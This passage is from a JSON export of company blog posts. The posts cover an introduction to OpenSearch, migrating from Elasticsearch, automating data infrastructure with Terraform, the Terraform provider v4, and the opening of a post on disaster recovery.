deeper dive into the topic of indices and shards. \n\n### REST API\n\nFor communication, OpenSearch relies on the REST API. You can use any programming language or client like [cURL](https://curl.haxx.se/ \"cURL\") to send HTTPS requests. \n\nBelow is an example of adding a JSON document to an OpenSearch index by sending an HTTPS request, taken from the official [OpenSearch project site](https://opensearch.org/docs/latest/opensearch/index/ \"OpenSearch project site\").\n\n```\n    PUT https://\u003chost\u003e:\u003cport\u003e/\u003cindex-name\u003e/_doc/\u003cdocument-id\u003e\n    {\n      \"title\": \"The Wind Rises\",\n      \"release_date\": \"2013-07-20\"\n    }\n```\n\n\nTo run a search for the document:\n\n\n```\n    GET https://\u003chost\u003e:\u003cport\u003e/\u003cindex-name\u003e/_search?q=wind\n```\n\nTo delete the document:\n\n```\n    DELETE https://\u003chost\u003e:\u003cport\u003e/\u003cindex-name\u003e/_doc/\u003cdocument-id\u003e\n```\n\n### Aggregations\n\nOne of the great things about OpenSearch is its powerful analytics engine. The engine can perform calculations, analyze your data, and extract statistics from it. This can come in handy when you try to analyze data in real-time and visualize it in OpenSearch Dashboards.\n\nIf you’re curious to learn more about OpenSearch aggregations, check out [our article about Aggregations on the Developer Portal](https://aiven.io/docs/products/opensearch/concepts/aggregations \"Aggregations from Aiven's Developer Portal\") or the even more detailed one from the [OpenSearch project site](https://opensearch.org/docs/latest/opensearch/aggregations/ \"Aggregations from the OpenSearch project site\"). \n\n## What are the primary use cases for OpenSearch?\n\nWith OpenSearch, you can easily ingest, search, aggregate, view, and analyze data. These capabilities are popular for use cases such as log analytics, real-time application monitoring, clickstream analytics, search backend, and more. \n\n## How to get started with OpenSearch? \nGreat news! You can get started with OpenSearch right in the [Aiven Console](https://console.aiven.io/login \"Aiven Console\") and here’s how: \n\n1. Choose the OpenSearch version, your cloud provider and location to deploy to, then choose which plan to use\n2. Give your service a name\n3. Click “Create Service”, and your shiny new OpenSearch database will start building.\n4. While it does that, you can already visit the service overview page to see the details of the service.\n\nTo test your service and play around with your own data, you can start by connecting with [cURL](https://aiven.io/docs/products/opensearch/howto/opensearch-with-curl.html \"cURL\"). If you’re hungry (pun intended) for test data, we’ve picked a [sample recipe dataset](https://aiven.io/docs/products/opensearch/howto/sample-dataset \"Sample recipe dataset\") that you can use to explore OpenSearch.\n\n## Wrapping up\nIf you’re looking for a powerful open source search and analytics engine, OpenSearch has pretty much everything you need to search and manage your data.\n\n- Find out how to get started with OpenSearch using [Python](https://aiven.io/blog/opensearch-dinner-party) and [NodeJS](https://aiven.io/blog/start-using-opensearch-with-nodejs) on the Aiven blog\n- Check out our documentation for [Aiven for OpenSearch](https://aiven.io/docs/products/opensearch/index) on the Developer Portal\n\nIf you’re an Aiven for Elasticsearch user and are interested in moving to OpenSearch, check out [Migrate Elasticsearch data to Aiven for OpenSearch](https://aiven.io/docs/products/opensearch/howto/migrating_elasticsearch_data_to_aiven) from our documentation for assistance. You can sign up for a free trial to start using [Aiven for OpenSearch](https://aiven.io/opensearch), and [follow us on Twitter](https://twitter.com/aiven_io) to stay up-to-date with product and feature-related news.","categories":[{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-53e6930fe86ea1e4cbeae9b43bf16f01846636c7-1567x844-png","_type":"reference"}},"publishedAt":"2022-01-27T00:00:00.000Z","related":[{"_key":"68e857390694","_ref":"f9628a31-e100-4e82-98d6-1df9eb0a5fb4","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"OpenSearch is a community-driven and truly open source search and analytics suite. Read on for a high-level look at its capabilities.","metaImage":{"alt":"","asset":{"_ref":"image-53e6930fe86ea1e4cbeae9b43bf16f01846636c7-1567x844-png","_type":"reference"}},"metaTitle":"Introduction to OpenSearch® | Get started now | Aiven"},"slug":{"_type":"slug","current":"/blog/introduction-to-opensearch"},"subtitle":"OpenSearch is a community-driven and truly open source search and analytics suite. Read on for a high-level look at its capabilities.","title":"Introduction to OpenSearch®"}
{"__i18n_lang":"en","_createdAt":"2022-10-04T07:56:48Z","_id":"NeJsURzpz6ttqyVjzb1EK","_rev":"ZLvKaZvfbZlWBlGcpIoEDO","_type":"post","_updatedAt":"2024-01-29T15:41:43Z","authors":[{"_key":"LvoXSx2wcnnIY178tIEa3","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"## Technical details about completing Aiven's migration away from Elasticsearch\n\nIn September 2021, Aiven [introduced the Aiven for OpenSearch®](https://aiven.io/blog/announcing-aiven-for-opensearch) service as a successor to Aiven for Elasticsearch. In order to ease the migration, Aiven provides [an upgrade path from Aiven for Elasticsearch to Aiven for OpenSearch](https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch) that maintains backward capability to Aiven for Elasticsearch API and metrics.\n\nOn 23 August 2022, in order to complete the migration, Aiven sunsets the backward compatible capability to all migrated Aiven for OpenSearch clusters. This article explains what changes are necessary after performing the update.\n\n### Aiven REST API\n\n#### Aiven for OpenSearch® ACL API\n\nAfter 23 August 2022, [Aiven for Elasticsearch API](https://api.aiven.io/doc/#tag/Service:_Elasticsearch) is no longer supported. We recommend that you switch to the [Aiven for OpenSearch® API](https://api.aiven.io/doc/#tag/Service:_OpenSearch) instead as soon as possible. This includes using GET, PUT and POST to:\n\n* `https://api.aiven.io/v1/project/{project}/service/{service_name}/opensearch/acl`\n\ninstead of:\n\n* `https://api.aiven.io/v1/project/{project}/service/{service_name}/elasticsearch/acl`\n\nYou can check the usage of the Aiven API for Aiven for OpenSearch [in the API reference](https://api.aiven.io/doc/#tag/Service:_OpenSearch).\n\n#### Aiven API to access service information\n\nSunsetting the backwards compatibility with Aiven for Elasticsearch changes how to access service information using the Aiven API. When you make a request to `https://api.aiven.io/v1/project/{project}/service/{service_name}`, you can see the following changes:\n\n* `elasticsearch` and `kibana` are no longer returned under the `components` field\n* `elasticsearch`, `elasticsearch_username`, `elasticsearch_password` and `kibana_uri` are no longer returned under `connection_info`\n* `elasticsearch_version` is no longer returned under `user_config`\n* `service_type` returns `opensearch` (instead of `elasticsearch`)\n\nAn example of a JSON response to a **backward compatible with Aiven for Elasticsearch** Aiven for OpenSearch® service:\n\n```json\n    {\n     \"service_type\": \"elasticsearch\",\n     \"components\": [\n      {\n       \"component\": \"elasticsearch\",\n           \"host\": \"ELASTICSEARCH_HOST\",\n           \"port\": 12691,\n           \"privatelink_connection_id\": null,\n           \"route\": \"dynamic\",\n           \"usage\": \"primary\"\n      }\n      {\n           \"component\": \"kibana\",\n           \"host\": \"ELASTICSEARCH_HOST\",\n           \"port\": 443,\n           \"privatelink_connection_id\": null,\n           \"route\": \"dynamic\",\n           \"usage\": \"primary\"\n      },\n      {\n       \"component\": \"opensearch\",\n           \"host\": \"OPENSEARCH_HOST\",\n           \"port\": 12691,\n           \"privatelink_connection_id\": null,\n           \"route\": \"dynamic\",\n           \"usage\": \"primary\"\n      }\n      {\n           \"component\": \"opensearch_dashboards\",\n           \"host\": \"OPENSEARCH_HOST\",\n           \"port\": 443,\n           \"privatelink_connection_id\": null,\n           \"route\": \"dynamic\",\n           \"usage\": \"primary\"\n      }\n     ]\n     \"connection_info\":{\n      \"elasticsearch\": [],\n      \"kibana_uri\": \"ELASTICSEARCH_URI\",\n      \"elasticsearch_password\":\"PASSWORD\",\n      \"elasticsearch_username\":\"USERNAME\",\n      \"opensearch\": [],\n      \"opensearch_dashboards_uri\": \"OPENSEARCH_URI\",\n      \"opensearch_password\":\"PASSWORD\",\n      \"opensearch_username\":\"USERNAME\"\n     },\n     \"user_config\": {\n      \"elasticsearch_version\": 1.3.3\n     }\n    }\n```\n\nAn example of a JSON response to an Aiven for OpenSearch® service after **backward compatibility with Elasticsearch has been turned off**:\n\n```json\n    {\n     \"service_type\": \"opensearch\",\n     \"components\": [\n      {\n       \"component\": \"opensearch\",\n           \"host\": \"OPENSEARCH_HOST\",\n       \"port\": 12691,\n           \"privatelink_connection_id\": null,\n           \"route\": \"dynamic\",\n           \"usage\": \"primary\"\n      }\n      {\n           \"component\": \"opensearch_dashboards\",\n           \"host\": \"OPENSEARCH_HOST\",\n           \"port\": 443,\n           \"privatelink_connection_id\": null,\n           \"route\": \"dynamic\",\n           \"usage\": \"primary\"\n      }\n     ]\n     \"connection_info\":{\n      \"opensearch\": [],\n      \"opensearch_dashboards_uri\": \"OPENSEARCH_URI\",\n      \"opensearch_password\":\"PASSWORD\",\n      \"opensearch_username\":\"USERNAME\"\n     },\n     \"user_config\": {\n      \"opensearch_version\": 1.3.3\n     }\n    }\n```\n\n### Aiven Console\n\nOnce the backward compatibility is turned off, you can see the differences on your OpenSearch® service page in Aiven Console: `Elasticsearch version` becomes `OpenSearch version`.\n\n* Service page for Backward compatible Aiven for OpenSearch®:\n\n  ![A screenshot of the OpenSearch® Service page for Backward Compatible OpenSearch®](//cdn.sanity.io/images/sczeoy4w/production/38ba04ff5f2e446b523ea4366af83480e40fef83-1706x248.png)\n\n* Service page for Aiven for OpenSearch® after turning off backward compatibility:\n\n  ![A screenshot of the OpenSearch® Service page for Pure OpenSearch®](//cdn.sanity.io/images/sczeoy4w/production/3c3636cc778320e06829783ee63da373d43f8394-1708x230.png)\n\n### Metrics integrations\n\nAiven provides metrics via the Telegraf plugin, so metrics that are available across Aiven for InfluxDB®, Aiven for M3 metrics integration, external Prometheus integration, and external AWS CloudWatch metrics integration remain the same. You can see the full list of\n[detail metrics](https://help.aiven.io/en/articles/5144867-aiven-service-metrics) and\n[additional metrics](https://help.aiven.io/en/articles/5144953-additional-service-metrics).\n\nOnce we turn off backward compatibility, Aiven for OpenSearch® will not produce any metrics prefixed with `elasticsearch_` to **any types of metric integrations** apart from an external Datadog integration. Therefore, the metrics from your Aiven for OpenSearch® cluster will only contain the `opensearch_` prefixes from the above lists.\n\n#### Datadog metrics integrations\n\nAiven does not have control over Datadog agents, therefore all metrics sent to external Datadog metrics integration will still still have `elasticsearch.` prefixes.\n\n#### Grafana®\n\nIf you have a default Aiven for Grafana® dashboard, Aiven automatically converts all queries using `elasticsearch_` prefixes to `opensearch_` prefixes.\n\nIf you have a non-default Aiven for Grafana® dashboard, Aiven provides a\n[tool to help convert your Grafana® dashboard](https://github.com/aiven/aiven-string-replacer-for-grafana) from using `elasticsearch_` to `opensearch_`. See the\n[instructions for replacing the expression string](https://aiven.io/docs/products/grafana/howto/replace-expression-string.html) for more information.\n\n### Further reading\n\nTo find out how to migrate external Elasticsearch data, follow [the instructions for migrating Elasticsearch data to Aiven for OpenSearch®](https://aiven.io/docs/products/opensearch/howto/migrating_elasticsearch_data_to_aiven.html).\n\n------------\n\nElasticsearch is a trademark of Elasticsearch BV, registered in the U.S. and in other countries.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-44c6e6f72ae6940ed97438457f5dbc787af33907-1567x844-png","_type":"reference"}},"publishedAt":"2022-08-09T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"On 2022-08-23, Aiven will complete its migration away from Elasticsearch. Read on to find out how this affects the backwards compatibility we were providing.","metaImage":{"alt":"","asset":{"_ref":"image-44c6e6f72ae6940ed97438457f5dbc787af33907-1567x844-png","_type":"reference"}},"metaTitle":"Aiven completes move from Elasticsearch: technical details"},"slug":{"_type":"slug","current":"/blog/finish-move-away-from-elasticsearch"},"subtitle":"On 2022-08-23, Aiven will complete its migration away from Elasticsearch. Read on to find out how this affects the backwards compatibility we were providing.","title":"Aiven finishes the transition away from Elasticsearch: technical details"}
{"__i18n_lang":"en","_createdAt":"2022-11-01T13:09:26Z","_id":"2067d9d5-96dc-4f71-81ff-9b7da70f5918","_rev":"m47zVAKzspt7UjVx7zHrc3","_type":"post","_updatedAt":"2024-08-05T12:15:20Z","authors":[{"_key":"be332301a856","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Software is the core of every business, and reliable software requires a robust infrastructure. But what comes to mind when you hear the word **infrastructure**? If it's virtual machines, load balancers, and network switches, then you're forgetting a critical piece of the puzzle - the **data infrastructure**. This includes databases, streaming services, and other services that help with storing and moving data.\n\nIn this article, I'll highlight the benefits of automating your data infrastructure, warn you about the burden of automation, and guide you through the \"how\" of automating your data infrastructure.\n\nWhat we'll cover:\n\n- [Pieces of data infrastructure](#pieces-of-data-infrastructure)\n- [The burden of automation (done wrong)](#the-burden-of-automation-done-wrong)\n- [5 reasons to automate](#the-5-benefits-of-the-infrastructure-as-code-iac-approach)\n- [Tools for your data infrastructure automation](#tools-for-your-data-infrastructure-automation)\n\n## Pieces of data infrastructure\n\nBefore the cloud era, organizations had monolithic relational databases running on bare-metal servers or virtual machines. The database server and the machine on which it was hosted had names (treated as pets), and these formed the data infrastructure for the entire company. In the cloud era, multi-cloud is an opportunity: your current version of the truth might be stored in a relational database running on Amazon Web Service (AWS) while you keep the history of all changes in a long-term memory object storage on Google Cloud Platform (GCP).\n\nTo bridge the data gap across technologies you could use [Aiven for Apache Kafka®](https://aiven.io/kafka), capable of syncing data in streaming mode across clouds as well as multiple other services to manage data access, observability, and governance. All of these combine to form your precious data infrastructure.\n\nOh, and don't forget the Virtual Private Cloud (VPC), the subnets, and the network gateways that you set up within your data infrastructure!   \n\n## The burden of automation (done wrong)\n\nYou might have started with a few services as a proof-of-concept, and in-house shell scripts seemed like the perfect tools for the job. As time passed, you needed more services and these shell scripts kept growing more complex. At one point, you might have added a manual process for deploying services that are behind a firewall. The database behind this firewall makes you create and manage static IP addresses since they don't accept hostnames. \n\nAnd by this point, you are in automation hell and these blessed shell scripts are just pieces of a broken semi-automated process.\n\nBut there is hope! And that hope is the Infrastructure as Code (IaC) approach.\n\n## The 5 benefits of the Infrastructure as Code (IaC) approach\n\nThe adoption of in-house shell scripts **seemed** like automation, once. This sort of automation, however, can be unpredictable. It can also lack accountability since you cannot tell who made a recent change.\n\nThe goal of IaC is to manage your infrastructure in a manner that is based on software development practices. This includes version control, testing, continuous integration, continuous deployment, and so on. Let's take a look at some of the benefits of using the IaC approach to manage and automate your data infrastructure.\n\n### 1: Reliability for data infrastructure\n\nIn the cloud era, the failure of an underlying hardware is not a matter of **if** but **when**. How can you ensure the reliability of the database services you're running while some hardware fails?\n\nThis is why the underlying hardware is abstracted as software resources. The automation tool creates, changes, or destroys any resource(s) that deviate from the expected state. The loose coupling of hardware and software ensures that you can build and rebuild systems dynamically and reliably.\n\n### 2: A predictable automation tool\n\nImagine you have a script that deploys a database service. What happens if you run that script 10 times? Does it create 10 services? To avoid this, you'd need to add logic to check if a service already exists before creation. With an IaC approach, this logic is already built into the tool you're using, ensuring that your **actual** system follows the **expected** state as defined in the code.\n\n### 3: Consistency across environments\n\nHow do you ensure that your staging and production environments are identical in terms of computing, network, and storage capacity? How does your distributed operations team ensure that they are configuring identical internal developer platforms for their developers? Automation tools can create repeatable, consistent software environments from version-controlled software blueprints - **infrastructure as code**. This is true of both application and data infrastructure.  \n\n### 4: Security from automation\n\nInconsistency leads to misconfiguration, and misconfiguration leads to security issues. If you're storing long-lived database admin credentials on spreadsheets and sharing them with your colleagues, you're leaving yourself wide open to security attacks and system compromise.\n\nWhether you're invoking the command for your automation tool or running the tool in a continuous integration (CI) process, the access to build and configure servers should be dynamic and short-lived. Automation tools can control and audit access, as well as revoke certain access in the event of a breach. \n\n### 5: Cost and agility\n\nYour engineering team's time is finite and valuable. Rather than building and configuring systems, you'd probably prefer them to be adding value to your business - by building and fixing your applications. While integrating any automation tool might seem expensive at the start, it saves countless numbers of hours for your engineering team by automating the work of building and managing your IT infrastructure.\n\nWhen deploying dozens of cloud resources as part of your data infrastructure, you need to ensure that they are created in a specified order to handle dependency issues. You might need to stand up a source and a target Apache Kafka® cluster before setting up an [Apache Kafka® MirrorMaker 2](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2) replication flow. The same goes for deleting resources.\n\nThe automation and IaC approach do the heavy lifting of figuring out the dependency checks in the background and allow you to quickly deploy multiple services across clouds and regions, saving your organization both time and money.\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=5-reasons-to-automate-your-data-infrastructure\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n## Tools for your data infrastructure automation\n\n[Terraform](https://terraform.io/) is an open-source IaC tool that helps you automate the provisioning of application and data infrastructure in a multi-cloud deployment model. While there are many choices when it comes to automation tools, Terraform has been battle-tested in production by a number of customers. Terraform uses [providers](https://www.terraform.io/language/providers) to work with virtually any platform or service with an accessible API.\n\nCheck out the following **recipes** about automating your data infrastructure with [Aiven Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest/docs):\n\n- [Deploy PostgreSQL® services to multiple clouds and regions](https://aiven.io/docs/tools/terraform/reference/cookbook/multicloud-postgresql-recipe.html)\n- [Cross-cluster replication with Apache Kafka® MirrorMaker 2](https://aiven.io/developer/kafka-mirrormaker-crosscluster)\n- [Apache Kafka® as source and sink for Apache Flink® job](https://aiven.io/docs/tools/terraform/reference/cookbook/kafka-flink-integration-recipe.html)\n\n::banner[Each “recipe” includes an architecture diagram and the Terraform sample code you need to build the setup yourself.]{ctaText=\"Explore some more recipes\" ctaLink=\"https://aiven.io/docs/tools/terraform/reference/cookbook.html\" title=\"Aiven Terraform Cookbook\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/525dd6662e1da8aeeccdb5644dc13b50ba82f402-48x48.svg\" theme=\"dark\"}\n\n## Wrapping up\n\nNow that you understand the benefits of automation and have been introduced to the IaC approach to automating your data infrastructure, what's your next step? Start small and do a proof-of-concept for your organization. If you need a testing ground that manages your data infrastructure based on open-source technologies, [give Aiven a try](https://aiven.io/how-to-get-started-with-aiven).\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n## Further reading\n\n- [How to automagically open pull requests with GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions)\n\n- [Static IP addresses for your data infrastructure](https://aiven.io/blog/static-ip-for-your-service/)\n","categories":[{"_key":"64eec599d144","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"},{"_key":"a058e367b7a2","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"4288871d0a48","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"A robot arm collects abstract data to represent automation","asset":{"_ref":"image-7566d6ab518e00240be0f418d5711588b2ff4761-3133x1688-png","_type":"reference"}},"publishedAt":"2022-11-03T14:23:45.708Z","related":[{"_key":"23004ba4f32a","_ref":"2MaVUBNixFPYxU03wR2sqc","_type":"reference"},{"_key":"8d8032322200","_ref":"5gTp13pYjOThOf6JmmuhGu","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Data infrastructure automation is key. Learn 5 benefits of automating your data infrastructure, how you might be doing it wrong and how you can do it right.","metaTitle":"5 reasons to automate your data infrastructure | Steps \u0026 Tools"},"slug":{"_type":"slug","current":"/blog/5-reasons-to-automate-your-data-infrastructure"},"subtitle":"Are you focusing solely on application infrastructure? Learn 5 reasons why data infrastructure automation is key, and how to do it right.","title":"5 reasons to automate your data infrastructure "}
{"__i18n_lang":"en","_createdAt":"2023-04-03T14:43:47Z","_id":"7485f982-2d13-42a8-a7fe-2e2c0d8f0b4b","_rev":"lhvtNBOlLYH5KiQFQ8YM3F","_type":"post","_updatedAt":"2024-01-29T15:38:08Z","authors":[{"_key":"6fdde475811a","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"},{"_key":"1afc92086237","_ref":"15aa712f-f1e5-4746-8ac5-dc53dd70a4c4","_type":"reference"},{"_key":"41cf4e030819","_ref":"7bb7e704-8d5a-492b-a575-77c091540b5d","_type":"reference"}],"body":"Terraform is a powerful infrastructure as code (IaC) tool that allows developers and operators to manage infrastructure as if it were software. The importance of Terraform lies in its ability to help organizations automate and manage their infrastructure at scale, reducing the risk of human error, and ensuring consistency across environments. Recently, Aiven released version 4.0.0 of the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) and there are some important changes that make it easier than ever to manage your data infrastructure using Terraform. In this blog post, we'll take a closer look at what's new in Aiven Terraform Provider version 4.X.\n\n## The path from Terraform SDKv2 to Terraform Plugin Framework\n\nTerraform has released the new [Terraform Plugin Framework](https://developer.hashicorp.com/terraform/plugin/framework) as a replacement for the older [Terraform Plugin SDKv2](https://developer.hashicorp.com/terraform/plugin/sdkv2). \n\nWith Aiven Terraform Provider 4.X we have started migrating from the SDKv2 to the new framework. To facilitate the change, we’re using Terraform’s portability wrapper around Terraform Plugin SDKv2 to add support for the Terraform Plugin Framework.\n\n## Using strict types instead of strings\n\nThe biggest change in this release is that we have started to make schema fields use **strict types** instead of **strings**. In all previous versions of Aiven Terraform Provider, no matter what the actual type of the fields, we provided string interfaces to them. \n\nFor instance, `public_access.prometheus` was `1` (string) before and now it’s `true` (boolean). For up to date information on resource (or data source) types, please check the [Aiven Terraform Provider docs](https://registry.terraform.io/providers/aiven/aiven/latest/docs).\n\n## Auto-upgrading of existing Terraform state\n\nWe’ve added functionality (the Aiven `stateupgrader` package) to this release which assists with upgrading resources from v3.x to v4.0.0. Starting from Aiven Terraform Provider v3.5.0, we’re generating user config types with fields, documentations, and so on, for new values. These user configs come with auto-completion support in your favorite code editor.\n\nHowever, what happens to the existing values in your state files that were generated using previous versions of the provider? We couldn’t introduce this change to version 3.X as it would be a breaking change. \n\nAll of these values were strings, whereas from version 4.0.0 Aiven Terraform Provider expects all field values to have their actual API type. The `stateupgrader` package seamlessly upgrades the state of your Terraform program to convert string types into these types.\n\n## `ip_filter`, `namespaces` (for M3DB) and other deprecations\n\nTerraform has a gradual process of deprecating any resource. In order to deprecate a resource, we need to mark it as **deprecated** on the next major release and then we can drop it completely on the major release after. For example, the `aiven_database` resource was marked as **deprecated** in version 3.X and is now dropped in version 4.X. \n\nAs part of using schema fields to use strict types, we marked `ip_filter` and `namespaces` (for M3DB) as **deprecated** in v4.X, and created aliases for them – `ip_filter_string` and `namespaces_string` respectively. In v5.X we will completely remove the `ip_filter` and `namespaces` fields, so we advise to move to the new ones now.\n\nThis change is made because those fields have been accepting multiple types in our API for a long while, and yet we still had no support for it on our side due to the way Terraform enforces strict types. Now, you can use `ip_filter_object` and `namespaces_object` instead, which allow for more granular customization of your resources. While the old fields are marked as deprecated, they still exist, and will only be replaced completely in version 5.X of Aiven Terraform Provider. Users will get a warning about resources that are marked as deprecated when trying to use them.\n\nThe following data sources and resources were marked as deprecated in version 3.X and are now removed:\n\n* `aiven_database`, `aiven_service_user`, `aiven_vpc_peering_connection`\n* `aiven_flink_table` and `aiven_flink_job`\n\n\n## What does this mean for our customers?\n\nAiven Terraform Provider is now compatible with [Protocol Version 6](https://developer.hashicorp.com/terraform/plugin/terraform-plugin-protocol#protocol-version-6) which is the latest protocol version.  While the change will be transparent to you as a user, this allows us to provide long-term stability and will allow a faster bug fix cycle. \n\n| Aiven Terraform Provider version | Terraform Protocol Version compatibility | Terraform SDKv2 or Terraform Plugin Framework | Type errors detected by |\n| ---- | ---- | ---- | ---- |\n| 3.X  | 4    | Terraform SDKv2 | Aiven backend |\n| 4.X  | 6    | Terraform SDKv2 and a wrapper to act like Plugin Framework | Aiven backend |\n| 5.X  | 6    | Terraform Plugin Framework | Terraform client |\n\nLet’s look at the following example. With Aiven Terraform Provider 3.X, you could assign `\"foo\"` (string) to an integer USER CONFIG option field. The resulting error from the Aiven Terraform Provider backend after you applied that manifest would require the Terraform client to make an API call to the Aiven platform. When we get to 5.X, the Terraform client itself will be able to produce the error.\n\nWith all these changes going on, it’s important to keep your Aiven Terraform Provider version up to date; at least for the major releases. For example, if you waited to upgrade directly from Aiven Terraform Provider v3.X to v5.X, the transition would not be as smooth or, worse case, might not even work at all. Remember to keep Aiven Terraform Provider updated to the [latest version](https://registry.terraform.io/providers/aiven/aiven/latest/) :)\n\n## What’s next?\n\nAt present, our engineers are updating resources to take advantage of the new Terraform Plugin Framework on the way to the next version of Aiven Terraform Provider. This will complete the shift away from Terraform Plugin SDK. In the Terraform Plugin SDK universe, a resource cannot have a `null` value – either the resource has a value or it’s empty – which means we have to do a lot of custom checks to determine the correct state of a resource. In the future, when we build Aiven Terraform Provider using the Terraform Plugin Framework, you will be able to define a null value for resources’ parameters, which means that we can get rid of hundreds of lines of existing code from the Aiven Terraform Provider core that were checking for null or empty values. \n\n----\n\nWe cannot wait for you to build and manage your data infrastructure using Aiven Terraform Provider. Head over to the [Terraform public registry](https://registry.terraform.io/providers/aiven/aiven) to get started and take a look at the [Aiven Terraform Cookbook](https://aiven.io/docs/tools/terraform/reference/cookbook) for commonly used solutions. If you have any questions or feedback, don’t hesitate to [reach out](https://twitter.com/aiven_io).\n\n\n","categories":[{"_key":"5205d79eea68","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"},{"_key":"0ab5bc98ab28","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"2f4195d6034c","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The text \"What's new in Aiven Terraform Provider 4.X\" against a blue background, with the Aiven cuddly crab logo at the bottom left","asset":{"_ref":"image-2861eb5f7bb671cfd6fcb775f5ed041635d513c3-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-06T08:44:29.068Z","related":[],"slug":{"_type":"slug","current":"/blog/aiven-terraform-provider-v4"},"subtitle":"Aiven Terraform Provider 4.x is an important step on our move to the new Terraform Plugin Framework, providing better type checking. Read on for details.","title":"Aiven Terraform Provider v4: What's new"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5k7n1fStOCkrjlFuvlNMW1","_rev":"GIOwkysrijyYbzGkS97yiW","_type":"post","_updatedAt":"2024-07-05T10:14:30Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"},{"_key":"2gMdAEZfTJwRIbSW8fDJ0i","_ref":"2gMdAEZfTJwRIbSW8fDJ0i","_type":"reference"}],"body":"Disaster recovery is a strange topic in the world of security and compliance. There is a lot of conversation about it, but often little gets done in practical terms. This may be because for most organisations, it’s perceived as too expensive or too remote. In normal circumstances, a true disaster is a High Impact - Low Frequency (HILF) event and something in the human psyche prefers to focus on Low Impact - High Frequency (LIHF) events. This is why you tend to worry more about burning dinner than getting hit by a meteorite. \n\nWhen you design your data storage and manipulation systems, the most common route to take is to consider redundancy: RAID storage, clustered/load-balanced servers and so on. What receives much less consideration is resiliency, which is relevant to HILF events: fault recovery and persistent service dependability.\n## Choose wisely\nOne of Aiven’s core features is choice. We provide multiple tiers of systems, from small setups with little to no redundancy (Hobbyist [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\")) all the way to big plans affording advanced redundancy and resiliency (Premium Aiven for PostgreSQL with extra geographically dispersed read replicas, or [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") with MirrorMaker. At Aiven, you can find just the right service mix for you. The flipside is that you have to make the right choices when selecting one; you have to balance the risk with the financial costs, and be informed about it.\n\nThe underlying technology that creates the Aiven platform is (perhaps unsurprisingly) built in part on Aiven products. We utilize all of the advanced redundancy and resiliency features to ensure the durability and persistence of Aiven services. Replication of data and services to multiple continents across a large number of systems and disks with regularly tested [backup and restore](https://aiven.io/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration) procedures are table stakes for us. And remember, these are all features we also offer to you, our customers. We keep your infra and your data as safe as your own data architecture lets us.\n\nSo far so theoretical. By now you’re probably asking “what’s that got to do with me?” and “what should I be doing?” And maybe even “what do you mean my own data architecture?”\n## Making a data recovery plan\nThis section tells you what to do to maintain business continuity in the face of a disastrous event.\n\nThe key is to design your data architecture in such a way that it is safe from both LIHF and HILF events. Remember, Aiven can keep your infra and data safe, but even though we can “see” that you have two Postgres services running in different availability zones, we can’t know what you keep in them--whether they’re separate databases or whether they’re the same database replicated safely across AZs. \n### Step 1: Ensure system-level redundancy\nThis is not something you need to worry about with Aiven: we take care of this for you. In a future post we'll cover how we set up your instances smoothly and securely across clouds but, in case you 